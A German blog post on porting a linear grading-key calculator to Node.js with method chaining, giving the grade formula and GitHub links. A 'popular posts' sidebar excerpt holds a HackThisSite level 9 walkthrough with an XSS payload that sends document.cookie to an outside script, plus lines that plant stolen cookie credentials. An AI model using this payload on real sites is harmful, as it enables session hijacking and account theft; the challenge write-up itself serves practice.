Direkt zum Hauptbereich

Linearen Notenschlüssel mit nodejs berechnen

Linearen Notenschlüssel berechnen / Method chaining in nodejs


Hintergrund/Motivation:
Ein kleines altes Nebenprojekt von mir war eine Schüler/Notenverwaltung Software in Java geschrieben. Das kleine Programm ist etwas in die Jahre gekommen und da wollte ich kleine teile von der Software nach nodejs portieren und es etwas auffrischen. Und zum start habe ich die Berechnung der Noten nach einem Linearen Notenschlüssel portiert. Also die dahinter liegende Klasse.

Kurze Beschreibung der Eigenschaften der Klasse:
Die Klasse soll die Berechnung anhand der Maximalen zu erreichenden Punkzahl und der erreichten Punkzahl des Schülers berechnen.
Es gibt folgende Attribute:
defaultPoints => fallback falls maxPoints nicht gesetzt wird
maxPoints => Maximal zu erreichende Punkte im Test/Arbeit
reachedPonts => Erreichte Punktzahl des Schülers

Darüber hinaus sollen die setter der Klasse via  Method chaining einfacher und kürzer aufrufbar sein, hierzu ein kleiner Pseudo code:
notenCalc->setMaxPoints(100)->setReachedPoints(50.25)->calcResult()

Dies soll den source code vereinfachen und überschaubarer machen. Da man sich ein paar Zeilen spart.
Um dies in javascript umzusetzen geben die setter das objekt selbst wieder zurück: "return this" Somit kann hinter dem Aufruf eines Setters ein weiterer Aufruf des Objektes erfolgen.

Hier noch die Formel um die Noten mit dem Linearen Notenschlüssel zu berechnen:

3 *  ((maxPoints - reachedPoints) / (maxPoints - (maxPoints/2.5) )) + 1;


Das fertige Resultat in nodejs der Klasse in nodejs kann man sich hier anschauen:
https://github.com/KaySchneider/simpleGradeCalc

Hier noch die Berechnung der Noten:
https://github.com/KaySchneider/simpleGradeCalc/blob/master/index.js

Viel Spass und besinnliche Feiertage :)


Kommentare

Beliebte Posts aus diesem Blog

Magento - Simple Google Shopping - Add PHP code direct in XML Template

Magento - Extension "Simple Google Shopping" von wyomind Um das Template anzupassen gibt es hier auch die Möglichkeit PHP code direkt in das XML Template zu schreiben.  Dies kann hilfreich sein wenn man Felder aus Magento ändern möchte und dazu ein if Konstrukt benötigt. Hier ein Beispielhaftes Template für Simple Google Shopping mit PHP code direkt im template: Wichtig: der code muss ein "return" statement besitzen. Denn nur der Wert welcher vom PHP Block returned wird, ist nacher im google shopping XML file vorhanden.   Simple Google Shopping Extension

HTS realistic 9, the Codes for the Challenge!

Here are the javascript codes for HTS Level 9: 1. code, take a look at the cookie: javascript:alert(document.cookie); 2. The xss exploit insert into the message to mr. crap: </textarea> <script>window.location="http://getTheScript/getcookiemailer.php?keks="+document.cookie;</script> 3. The code to use the stolen cookie data: javascript:document.cookie="strUsername=m-crap%40crappysoft.com";document.cookie="strPassword=94a35a3b7befff5eb2a8415af04aa16c";document.cookie="intID=1"; Now you can move the money!! 4. Deleting the session data. Log out and go to the main page of crappy soft. Go to the mailing list form. Now you need an Firefox extension like UrlParams or an Proxy with freeze function. Or you manipulate the Post data with an faked http header. How to fake http header with PHP you can take a look at this page: http://hack1n9.blogspot.com/2008/06/hackthissiteorg-level-5-basic-lsung.html But it is written in german. The faste...